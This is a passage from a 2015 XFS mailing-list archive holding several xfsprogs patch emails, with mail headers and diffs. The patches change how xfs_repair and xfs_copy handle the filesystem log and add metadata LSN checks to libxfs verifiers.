X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 xfs_repair currently clears the log regardless of whether it is corrupted, clean or contains data. This is traditionally harmless but now causes log recovery problems on v5 filesystems. v5 filesystems expect a clean log to always have an LSN out ahead of the maximum last modification LSN stamped on any bit of metadata throughout the fs. If this is not the case, repair must reformat the log with a larger cycle number after fs processing is complete. Given that unconditional log clearing actually introduces a filesystem inconsistency on v5 superblocks (that repair must subsequently recover from) and provides no tangible benefit for v4 filesystems that otherwise have a clean and covered log, it is more appropriate behavior to not clear the log by default. Update xfs_repair to always and only clear the log when the -L parameter is specified. Retain the existing logic to require -L or otherwise exit if the log appears to contain data. Adopt similar behavior if the log appears to be corrupted. Signed-off-by: Brian Foster --- repair/phase2.c | 60 ++++++++++++++++++++++++++++++++++++++------------------- 1 file changed, 40 insertions(+), 20 deletions(-) diff --git a/repair/phase2.c b/repair/phase2.c index 72132ce..fe7ed2b 100644 --- a/repair/phase2.c +++ b/repair/phase2.c @@ -36,11 +36,13 @@ int xlog_recover_do_trans(struct xlog *log, xlog_recover_t *t, int p) } static void -zero_log(xfs_mount_t *mp) +zero_log( + struct xfs_mount *mp) { - int error; - xfs_daddr_t head_blk, tail_blk; - struct xlog *log = mp->m_log; + int error; + xfs_daddr_t head_blk; + xfs_daddr_t tail_blk; + struct xlog *log = mp->m_log; memset(log, 0, sizeof(struct xlog)); x.logBBsize = XFS_FSB_TO_BB(mp, mp->m_sb.sb_logblocks); @@ -65,10 +67,22 @@ zero_log(xfs_mount_t *mp) } log->l_sectbb_mask = (1 << log->l_sectbb_log) - 1; - if ((error = xlog_find_tail(log, &head_blk, &tail_blk))) { - do_warn(_("zero_log: cannot find log head/tail " - "(xlog_find_tail=%d), zeroing it anyway\n"), + /* + * Find the log head and tail and alert the user to the situation if the + * log appears corrupted or contains data. In either case, we do not + * proceed past this point unless the user explicitly requests to zap + * the log. + */ + error = xlog_find_tail(log, &head_blk, &tail_blk); + if (error) { + do_warn( + _("zero_log: cannot find log head/tail (xlog_find_tail=%d)\n"), error); + if (!no_modify && !zap_log) + do_error(_( +"ERROR: The log head and/or tail cannot be discovered. Attempt to mount the\n" +"filesystem to replay the log or use the -L option to destroy the log and\n" +"attempt a repair.\n")); } else { if (verbose) { do_warn( @@ -93,19 +107,25 @@ zero_log(xfs_mount_t *mp) } } - if (no_modify) - return; - - libxfs_log_clear(log->l_dev, XFS_FSB_TO_DADDR(mp, mp->m_sb.sb_logstart), - (xfs_extlen_t)XFS_FSB_TO_BB(mp, mp->m_sb.sb_logblocks), - &mp->m_sb.sb_uuid, - xfs_sb_version_haslogv2(&mp->m_sb) ? 2 : 1, - mp->m_sb.sb_logsunit, XLOG_FMT, XLOG_INIT_CYCLE); - - /* update the log data structure with new state */ - error = xlog_find_tail(log, &head_blk, &tail_blk); - if (error || head_blk != tail_blk) - do_error(_("failed to clear log")); + /* + * Only clear the log when explicitly requested. Doing so is unnecessary + * unless something is wrong. Further, this resets the current LSN of + * the filesystem and creates more work for repair of v5 superblock + * filesystems. + */ + if (!no_modify && zap_log) { + libxfs_log_clear(log->l_dev, + XFS_FSB_TO_DADDR(mp, mp->m_sb.sb_logstart), + (xfs_extlen_t)XFS_FSB_TO_BB(mp, mp->m_sb.sb_logblocks), + &mp->m_sb.sb_uuid, + xfs_sb_version_haslogv2(&mp->m_sb) ? 2 : 1, + mp->m_sb.sb_logsunit, XLOG_FMT, XLOG_INIT_CYCLE); + + /* update the log data structure with new state */ + error = xlog_find_tail(log, &head_blk, &tail_blk); + if (error || head_blk != tail_blk) + do_error(_("failed to clear log")); + } } /* -- 2.1.0 From bfoster@redhat.com Fri Oct 2 13:20:00 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 8FD7D7F56 for ; Fri, 2 Oct 2015 13:19:59 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 70F238F8035 for ; Fri, 2 Oct 2015 11:19:59 -0700 (PDT) X-ASG-Debug-ID: 1443809997-04cb6c6b071ab7f0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id oLMcMVpbRmCACSGM (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Fri, 02 Oct 2015 11:19:58 -0700 (PDT) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx13.intmail.prod.int.phx2.redhat.com (int-mx13.intmail.prod.int.phx2.redhat.com [10.5.11.26]) by mx1.redhat.com (Postfix) with ESMTPS id A6E36C0B64A1 for ; Fri, 2 Oct 2015 18:19:57 +0000 (UTC) Received: from bfoster.bfoster (dhcp-41-128.bos.redhat.com [10.18.41.128]) by int-mx13.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t92IJvBF031600 for ; Fri, 2 Oct 2015 14:19:57 -0400 Received: by bfoster.bfoster (Postfix, from userid 1000) id E40BE12058A; Fri, 2 Oct 2015 14:19:55 -0400 (EDT) From: Brian Foster To: xfs@oss.sgi.com Subject: [PATCH v3 14/18] xfs_copy: check for dirty log on non-duplicate copies Date: Fri, 2 Oct 2015 14:19:51 -0400 X-ASG-Orig-Subj: [PATCH v3 14/18] xfs_copy: check for dirty log on non-duplicate copies Message-Id: <1443809995-20395-15-git-send-email-bfoster@redhat.com> In-Reply-To: <1443809995-20395-1-git-send-email-bfoster@redhat.com> References: <1443809995-20395-1-git-send-email-bfoster@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.26 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1443809998 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 xfs_copy either copies the log as-is or formats the log of the target(s) based on whether duplicate copy mode is enabled. The target log is formatted when non-duplicate mode is enabled because copies gain a new fs UUID and the new UUID must be stamped into the log. When non-duplicate mode is enabled, however, xfs_copy does not check whether the source filesystem log is actually clean. If the source log is dirty, the target filesystem is silently created with a clean log and thus ends up in a potentially corrupted state. Update xfs_copy to check the source log state and fail the copy if in non-duplicate mode and the log is dirty. Encourage the user to mount the filesystem or run xfs_repair to clear the log. Note that the log is scanned unconditionally as opposed to only in non-duplicate mode because v5 superblock log format support requires the current cycle number to format the log correctly. Signed-off-by: Brian Foster --- Makefile | 2 +- copy/Makefile | 4 ++-- copy/xfs_copy.c | 33 +++++++++++++++++++++++++++++++++ 3 files changed, 36 insertions(+), 3 deletions(-) diff --git a/Makefile b/Makefile index 19fb8c5..fca0a42 100644 --- a/Makefile +++ b/Makefile @@ -81,7 +81,7 @@ growfs: libxcmd io: libxcmd libhandle quota: libxcmd repair: libxlog - +copy: libxlog ifeq ($(HAVE_BUILDDEFS), yes) include $(BUILDRULES) diff --git a/copy/Makefile b/copy/Makefile index beabbd4..e630b17 100644 --- a/copy/Makefile +++ b/copy/Makefile @@ -9,8 +9,8 @@ LTCOMMAND = xfs_copy CFILES = xfs_copy.c HFILES = xfs_copy.h -LLDLIBS = $(LIBXFS) $(LIBUUID) $(LIBPTHREAD) $(LIBRT) -LTDEPENDENCIES = $(LIBXFS) +LLDLIBS = $(LIBXFS) $(LIBXLOG) $(LIBUUID) $(LIBPTHREAD) $(LIBRT) +LTDEPENDENCIES = $(LIBXFS) $(LIBXLOG) LLDFLAGS = -static-libtool-libs default: depend $(LTCOMMAND) diff --git a/copy/xfs_copy.c b/copy/xfs_copy.c index 949be5f..f3e5288 100644 --- a/copy/xfs_copy.c +++ b/copy/xfs_copy.c @@ -23,6 +23,7 @@ #include #include #include "xfs_copy.h" +#include "libxlog.h" #define rounddown(x, y) (((x)/(y))*(y)) #define uuid_equal(s,d) (platform_uuid_compare((s),(d)) == 0) @@ -128,6 +129,12 @@ do_message(int flags, int code, const char *fmt, ...) exit(1); \ } while (0) +/* workaround craziness in the xlog routines */ +int xlog_recover_do_trans(struct xlog *log, struct xlog_recover *t, int p) +{ + return 0; +} + void check_errors(void) { @@ -522,6 +529,7 @@ main(int argc, char **argv) ag_header_t ag_hdr; xfs_mount_t *mp; xfs_mount_t mbuf; + struct xlog xlog; xfs_buf_t *sbp; xfs_sb_t *sb; xfs_agnumber_t num_ags, agno; @@ -717,6 +725,31 @@ main(int argc, char **argv) exit(1); } + + /* + * Set up the mount pointer to access the log and check whether the log + * is clean. Fail on a dirty or corrupt log in non-duplicate mode + * because the log is formatted as part of the copy and we don't want to + * destroy data. We also need the current log cycle to format v5 + * superblock logs correctly. + */ + memset(&xlog, 0, sizeof(struct xlog)); + mp->m_log = &xlog; + c = xlog_is_dirty(mp, mp->m_log, &xargs, 0); + if (!duplicate) { + if (c == 1) { + do_log(_( +"Error: source filesystem log is dirty. Mount the filesystem to replay the\n" +"log, unmount and retry xfs_copy.\n")); + exit(1); + } else if (c < 0) { + do_log(_( +"Error: could not determine the log head or tail of the source filesystem.\n" +"Mount the filesystem to replay the log or run xfs_repair.\n")); + exit(1); + } + } + source_blocksize = mp->m_sb.sb_blocksize; source_sectorsize = mp->m_sb.sb_sectsize; -- 2.1.0 From bfoster@redhat.com Fri Oct 2 13:19:59 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 60CC229DFA for ; Fri, 2 Oct 2015 13:19:59 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 421818F8033 for ; Fri, 2 Oct 2015 11:19:59 -0700 (PDT) X-ASG-Debug-ID: 1443809997-04cb6c6b051ab7e0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id 1yirXqq1tKFUs8Kw (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Fri, 02 Oct 2015 11:19:57 -0700 (PDT) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx13.intmail.prod.int.phx2.redhat.com (int-mx13.intmail.prod.int.phx2.redhat.com [10.5.11.26]) by mx1.redhat.com (Postfix) with ESMTPS id 6BED68C1B1 for ; Fri, 2 Oct 2015 18:19:57 +0000 (UTC) Received: from bfoster.bfoster (dhcp-41-128.bos.redhat.com [10.18.41.128]) by int-mx13.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t92IJvnX031593 for ; Fri, 2 Oct 2015 14:19:57 -0400 Received: by bfoster.bfoster (Postfix, from userid 1000) id A28F112054A; Fri, 2 Oct 2015 14:19:55 -0400 (EDT) From: Brian Foster To: xfs@oss.sgi.com Subject: [PATCH v3 08/18] xfs_repair: process the log in no_modify mode Date: Fri, 2 Oct 2015 14:19:45 -0400 X-ASG-Orig-Subj: [PATCH v3 08/18] xfs_repair: process the log in no_modify mode Message-Id: <1443809995-20395-9-git-send-email-bfoster@redhat.com> In-Reply-To: <1443809995-20395-1-git-send-email-bfoster@redhat.com> References: <1443809995-20395-1-git-send-email-bfoster@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.26 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1443809997 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 xfs_repair does not zero the log in no_modify mode. In doing so, it also skips the function that scans the log, locates the head/tail blocks and sets the current LSN. Now that the log state is used beyond phase 2, the log scan must occur regardless of whether no_modify mode is enabled or not. Update phase 2 to always execute the log scanning code. Push down the no_modify checks into the log clearing helper such that the log is still not modified in no_modify mode. Signed-off-by: Brian Foster --- repair/phase2.c | 11 ++++++----- 1 file changed, 6 insertions(+), 5 deletions(-) diff --git a/repair/phase2.c b/repair/phase2.c index 11504e3..72132ce 100644 --- a/repair/phase2.c +++ b/repair/phase2.c @@ -75,7 +75,7 @@ zero_log(xfs_mount_t *mp) _("zero_log: head block %" PRId64 " tail block %" PRId64 "\n"), head_blk, tail_blk); } - if (head_blk != tail_blk) { + if (!no_modify && head_blk != tail_blk) { if (zap_log) { do_warn(_( "ALERT: The filesystem has valuable metadata changes in a log which is being\n" @@ -93,6 +93,9 @@ zero_log(xfs_mount_t *mp) } } + if (no_modify) + return; + libxfs_log_clear(log->l_dev, XFS_FSB_TO_DADDR(mp, mp->m_sb.sb_logstart), (xfs_extlen_t)XFS_FSB_TO_BB(mp, mp->m_sb.sb_logblocks), &mp->m_sb.sb_uuid, @@ -136,10 +139,8 @@ phase2( do_log(_("Phase 2 - using internal log\n")); /* Zero log if applicable */ - if (!no_modify) { - do_log(_(" - zero log...\n")); - zero_log(mp); - } + do_log(_(" - zero log...\n")); + zero_log(mp); do_log(_(" - scan filesystem freespace and inode maps...\n")); -- 2.1.0 From bfoster@redhat.com Fri Oct 2 13:20:00 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 93DB87F58 for ; Fri, 2 Oct 2015 13:19:59 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 67A8A304039 for ; Fri, 2 Oct 2015 11:19:59 -0700 (PDT) X-ASG-Debug-ID: 1443809997-04cb6c6b051ab7d0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id tlWuDNxPtffF1WV7 (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Fri, 02 Oct 2015 11:19:57 -0700 (PDT) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24]) by mx1.redhat.com (Postfix) with ESMTPS id E442FC0B64D7 for ; Fri, 2 Oct 2015 18:19:56 +0000 (UTC) Received: from bfoster.bfoster (dhcp-41-128.bos.redhat.com [10.18.41.128]) by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t92IJuiH026222 for ; Fri, 2 Oct 2015 14:19:56 -0400 Received: by bfoster.bfoster (Postfix, from userid 1000) id 32C7A1202D2; Fri, 2 Oct 2015 14:19:55 -0400 (EDT) From: Brian Foster To: xfs@oss.sgi.com Subject: [PATCH v3 01/18] libxfs: validate metadata LSNs against log on v5 superblocks Date: Fri, 2 Oct 2015 14:19:38 -0400 X-ASG-Orig-Subj: [PATCH v3 01/18] libxfs: validate metadata LSNs against log on v5 superblocks Message-Id: <1443809995-20395-2-git-send-email-bfoster@redhat.com> In-Reply-To: <1443809995-20395-1-git-send-email-bfoster@redhat.com> References: <1443809995-20395-1-git-send-email-bfoster@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1443809997 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Backport the associated kernel commit. Replace the xfs_log_check_lsn() helper with a stub. Signed-off-by: Brian Foster --- libxfs/libxfs_priv.h | 2 ++ libxfs/util.c | 8 ++++++++ libxfs/xfs_alloc.c | 12 +++++++++--- libxfs/xfs_attr_leaf.c | 2 ++ libxfs/xfs_btree.c | 16 ++++++++++++++-- libxfs/xfs_da_btree.c | 3 +++ libxfs/xfs_dir2_block.c | 2 ++ libxfs/xfs_dir2_data.c | 2 ++ libxfs/xfs_dir2_leaf.c | 2 ++ libxfs/xfs_dir2_node.c | 2 ++ libxfs/xfs_ialloc.c | 9 +++++++-- libxfs/xfs_sb.c | 9 +++++++++ libxfs/xfs_symlink_remote.c | 3 +++ 13 files changed, 65 insertions(+), 7 deletions(-) diff --git a/libxfs/libxfs_priv.h b/libxfs/libxfs_priv.h index 22f2d53..9135aac 100644 --- a/libxfs/libxfs_priv.h +++ b/libxfs/libxfs_priv.h @@ -505,4 +505,6 @@ void xfs_verifier_error(struct xfs_buf *bp); /* xfs_rtalloc.c */ int libxfs_rtfree_extent(struct xfs_trans *, xfs_rtblock_t, xfs_extlen_t); +bool xfs_log_check_lsn(struct xfs_mount *, xfs_lsn_t); + #endif /* __LIBXFS_INTERNAL_XFS_H__ */ diff --git a/libxfs/util.c b/libxfs/util.c index c9f9175..fcf6e96 100644 --- a/libxfs/util.c +++ b/libxfs/util.c @@ -729,3 +729,11 @@ xfs_verifier_error( bp->b_error == -EFSBADCRC ? "CRC error" : "corruption", bp->b_bn, BBTOB(bp->b_length)); } + +bool +xfs_log_check_lsn( + struct xfs_mount *mp, + xfs_lsn_t lsn) +{ + return true; +} diff --git a/libxfs/xfs_alloc.c b/libxfs/xfs_alloc.c index 4f3008a..95c8d44 100644 --- a/libxfs/xfs_alloc.c +++ b/libxfs/xfs_alloc.c @@ -478,7 +478,9 @@ xfs_agfl_verify( be32_to_cpu(agfl->agfl_bno[i]) >= mp->m_sb.sb_agblocks) return false; } - return true; + + return xfs_log_check_lsn(mp, + be64_to_cpu(XFS_BUF_TO_AGFL(bp)->agfl_lsn)); } static void @@ -2255,9 +2257,13 @@ xfs_agf_verify( { struct xfs_agf *agf = XFS_BUF_TO_AGF(bp); - if (xfs_sb_version_hascrc(&mp->m_sb) && - !uuid_equal(&agf->agf_uuid, &mp->m_sb.sb_meta_uuid)) + if (xfs_sb_version_hascrc(&mp->m_sb)) { + if (!uuid_equal(&agf->agf_uuid, &mp->m_sb.sb_meta_uuid)) return false; + if (!xfs_log_check_lsn(mp, + be64_to_cpu(XFS_BUF_TO_AGF(bp)->agf_lsn))) + return false; + } if (!(agf->agf_magicnum == cpu_to_be32(XFS_AGF_MAGIC) && XFS_AGF_GOOD_VERSION(be32_to_cpu(agf->agf_versionnum)) && diff --git a/libxfs/xfs_attr_leaf.c b/libxfs/xfs_attr_leaf.c index cc25068..bf473eb 100644 --- a/libxfs/xfs_attr_leaf.c +++ b/libxfs/xfs_attr_leaf.c @@ -262,6 +262,8 @@ xfs_attr3_leaf_verify( return false; if (be64_to_cpu(hdr3->info.blkno) != bp->b_bn) return false; + if (!xfs_log_check_lsn(mp, be64_to_cpu(hdr3->info.lsn))) + return false; } else { if (ichdr.magic != XFS_ATTR_LEAF_MAGIC) return false; diff --git a/libxfs/xfs_btree.c b/libxfs/xfs_btree.c index a16ae7d..f28e3a5 100644 --- a/libxfs/xfs_btree.c +++ b/libxfs/xfs_btree.c @@ -240,8 +240,14 @@ bool xfs_btree_lblock_verify_crc( struct xfs_buf *bp) { - if (xfs_sb_version_hascrc(&bp->b_target->bt_mount->m_sb)) + struct xfs_btree_block *block = XFS_BUF_TO_BLOCK(bp); + struct xfs_mount *mp = bp->b_target->bt_mount; + + if (xfs_sb_version_hascrc(&bp->b_target->bt_mount->m_sb)) { + if (!xfs_log_check_lsn(mp, be64_to_cpu(block->bb_u.l.bb_lsn))) + return false; return xfs_buf_verify_cksum(bp, XFS_BTREE_LBLOCK_CRC_OFF); + } return true; } @@ -272,8 +278,14 @@ bool xfs_btree_sblock_verify_crc( struct xfs_buf *bp) { - if (xfs_sb_version_hascrc(&bp->b_target->bt_mount->m_sb)) + struct xfs_btree_block *block = XFS_BUF_TO_BLOCK(bp); + struct xfs_mount *mp = bp->b_target->bt_mount; + + if (xfs_sb_version_hascrc(&bp->b_target->bt_mount->m_sb)) { + if (!xfs_log_check_lsn(mp, be64_to_cpu(block->bb_u.s.bb_lsn))) + return false; return xfs_buf_verify_cksum(bp, XFS_BTREE_SBLOCK_CRC_OFF); + } return true; } diff --git a/libxfs/xfs_da_btree.c b/libxfs/xfs_da_btree.c index 289dc1e..bdd60a0 100644 --- a/libxfs/xfs_da_btree.c +++ b/libxfs/xfs_da_btree.c @@ -146,6 +146,8 @@ xfs_da3_node_verify( return false; if (be64_to_cpu(hdr3->info.blkno) != bp->b_bn) return false; + if (!xfs_log_check_lsn(mp, be64_to_cpu(hdr3->info.lsn))) + return false; } else { if (ichdr.magic != XFS_DA_NODE_MAGIC) return false; @@ -318,6 +320,7 @@ xfs_da3_node_create( if (xfs_sb_version_hascrc(&mp->m_sb)) { struct xfs_da3_node_hdr *hdr3 = bp->b_addr; + memset(hdr3, 0, sizeof(struct xfs_da3_node_hdr)); ichdr.magic = XFS_DA3_NODE_MAGIC; hdr3->info.blkno = cpu_to_be64(bp->b_bn); hdr3->info.owner = cpu_to_be64(args->dp->i_ino); diff --git a/libxfs/xfs_dir2_block.c b/libxfs/xfs_dir2_block.c index 489f301..d7ba0e9 100644 --- a/libxfs/xfs_dir2_block.c +++ b/libxfs/xfs_dir2_block.c @@ -68,6 +68,8 @@ xfs_dir3_block_verify( return false; if (be64_to_cpu(hdr3->blkno) != bp->b_bn) return false; + if (!xfs_log_check_lsn(mp, be64_to_cpu(hdr3->lsn))) + return false; } else { if (hdr3->magic != cpu_to_be32(XFS_DIR2_BLOCK_MAGIC)) return false; diff --git a/libxfs/xfs_dir2_data.c b/libxfs/xfs_dir2_data.c index 0c9f529..37b3b68 100644 --- a/libxfs/xfs_dir2_data.c +++ b/libxfs/xfs_dir2_data.c @@ -222,6 +222,8 @@ xfs_dir3_data_verify( return false; if (be64_to_cpu(hdr3->blkno) != bp->b_bn) return false; + if (!xfs_log_check_lsn(mp, be64_to_cpu(hdr3->lsn))) + return false; } else { if (hdr3->magic != cpu_to_be32(XFS_DIR2_DATA_MAGIC)) return false; diff --git a/libxfs/xfs_dir2_leaf.c b/libxfs/xfs_dir2_leaf.c index 80d03b3..77c2e65 100644 --- a/libxfs/xfs_dir2_leaf.c +++ b/libxfs/xfs_dir2_leaf.c @@ -162,6 +162,8 @@ xfs_dir3_leaf_verify( return false; if (be64_to_cpu(leaf3->info.blkno) != bp->b_bn) return false; + if (!xfs_log_check_lsn(mp, be64_to_cpu(leaf3->info.lsn))) + return false; } else { if (leaf->hdr.info.magic != cpu_to_be16(magic)) return false; diff --git a/libxfs/xfs_dir2_node.c b/libxfs/xfs_dir2_node.c index 0514cea..689a3fd 100644 --- a/libxfs/xfs_dir2_node.c +++ b/libxfs/xfs_dir2_node.c @@ -95,6 +95,8 @@ xfs_dir3_free_verify( return false; if (be64_to_cpu(hdr3->blkno) != bp->b_bn) return false; + if (!xfs_log_check_lsn(mp, be64_to_cpu(hdr3->lsn))) + return false; } else { if (hdr->magic != cpu_to_be32(XFS_DIR2_FREE_MAGIC)) return false; diff --git a/libxfs/xfs_ialloc.c b/libxfs/xfs_ialloc.c index 93bfaea..d39f9b6 100644 --- a/libxfs/xfs_ialloc.c +++ b/libxfs/xfs_ialloc.c @@ -2495,9 +2495,14 @@ xfs_agi_verify( struct xfs_mount *mp = bp->b_target->bt_mount; struct xfs_agi *agi = XFS_BUF_TO_AGI(bp); - if (xfs_sb_version_hascrc(&mp->m_sb) && - !uuid_equal(&agi->agi_uuid, &mp->m_sb.sb_meta_uuid)) + if (xfs_sb_version_hascrc(&mp->m_sb)) { + if (!uuid_equal(&agi->agi_uuid, &mp->m_sb.sb_meta_uuid)) + return false; + if (!xfs_log_check_lsn(mp, + be64_to_cpu(XFS_BUF_TO_AGI(bp)->agi_lsn))) return false; + } + /* * Validate the magic number of the agi block. */ diff --git a/libxfs/xfs_sb.c b/libxfs/xfs_sb.c index f944a58..c293d68 100644 --- a/libxfs/xfs_sb.c +++ b/libxfs/xfs_sb.c @@ -161,6 +161,15 @@ xfs_mount_validate_sb( "Filesystem can not be safely mounted by this kernel."); return -EINVAL; } + } else if (xfs_sb_version_hascrc(sbp)) { + /* + * We can't read verify the sb LSN because the read verifier is + * called before the log is allocated and processed. We know the + * log is set up before write verifier (!check_version) calls, + * so just check it here. + */ + if (!xfs_log_check_lsn(mp, sbp->sb_lsn)) + return -EFSCORRUPTED; } if (xfs_sb_version_has_pquotino(sbp)) { diff --git a/libxfs/xfs_symlink_remote.c b/libxfs/xfs_symlink_remote.c index 7d46d9e..647444a 100644 --- a/libxfs/xfs_symlink_remote.c +++ b/libxfs/xfs_symlink_remote.c @@ -57,6 +57,7 @@ xfs_symlink_hdr_set( if (!xfs_sb_version_hascrc(&mp->m_sb)) return 0; + memset(dsl, 0, sizeof(struct xfs_dsymlink_hdr)); dsl->sl_magic = cpu_to_be32(XFS_SYMLINK_MAGIC); dsl->sl_offset = cpu_to_be32(offset); dsl->sl_bytes = cpu_to_be32(size); @@ -113,6 +114,8 @@ xfs_symlink_verify( return false; if (dsl->sl_owner == 0) return false; + if (!xfs_log_check_lsn(mp, be64_to_cpu(dsl->sl_lsn))) + return false; return true; } -- 2.1.0 From bfoster@redhat.com Fri Oct 2 13:20:01 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 7554729DFC for ; Fri, 2 Oct 2015 13:19:59 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id D9ED4AC028 for ; Fri, 2 Oct 2015 11:19:58 -0700 (PDT) X-ASG-Debug-ID: 1443809996-04cbb033b31d6a60001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id cJPJmXFHob7aDavn (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Fri, 02 Oct 2015 11:19:57 -0700 (PDT) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx10.intmail.prod.int.phx2.redhat.com (int-mx10.intmail.prod.int.phx2.redhat.com [10.5.11.23]) by mx1.redhat.com (Postfix) with ESMTPS id DFF9FB4C4A for ; Fri, 2 Oct 2015 18:19:56 +0000 (UTC) Received: from bfoster.bfoster (dhcp-41-128.bos.redhat.com [10.18.41.128]) by int-mx10.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t92IJu3i023974 for ; Fri, 2 Oct 2015 14:19:56 -0400 Received: by bfoster.bfoster (Postfix, from userid 1000) id 21F8F1203DF; Fri, 2 Oct 2015 14:19:55 -0400 (EDT) From: Brian Foster To: xfs@oss.sgi.com Subject: [PATCH v3 00/18] xfsprogs: format the log correctly on v5 supers Date: Fri, 2 Oct 2015 14:19:37 -0400 X-ASG-Orig-Subj: [PATCH v3 00/18] xfsprogs: format the log correctly on v5 supers Message-Id: <1443809995-20395-1-git-send-email-bfoster@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.23 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1443809997 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Hi all, Here is v3 of the userspace v5 log formatting fixes. This version is based on the latest variant of the kernel metadata LSN verification patch: http://oss.sgi.com/pipermail/xfs/2015-September/043846.html The updates are relatively minor with the exception of added support for xfs_copy. Patches 1-6 update libxfs/libxlog to support max. metadata LSN tracking, cycle-specific log formatting and otherwise prepare for subsequent fixes. Patches 7-11 update xfs_repair to no longer zero the log by default and format v5 logs correctly based on the maximum seen metadata LSN. Patches 12-13 update the xfs_db uuid and metadump commands to bump the cycle number when formatting v5 logs. Patch 14 is an independent bug fix to enable xfs_copy to detect and warn about a dirty log in the source filesystem. Patches 15-18 refactor and fix xfs_copy to also bump the cycle number when formatting v5 logs. Thoughts, reviews, flames appreciated. Brian v3: - Rebased on latest LSN validation kernel patch. - Added comment for dummy log clearing tid. - Seed max lsn value from initial log state in xfs_repair. - Added xfs_copy fixes (non-dup. dirty log fix + v5 log format fixes). v2: http://oss.sgi.com/pipermail/xfs/2015-September/043630.html - Rebase to latest kernel variant of invalid metadata LSN detection. - Added 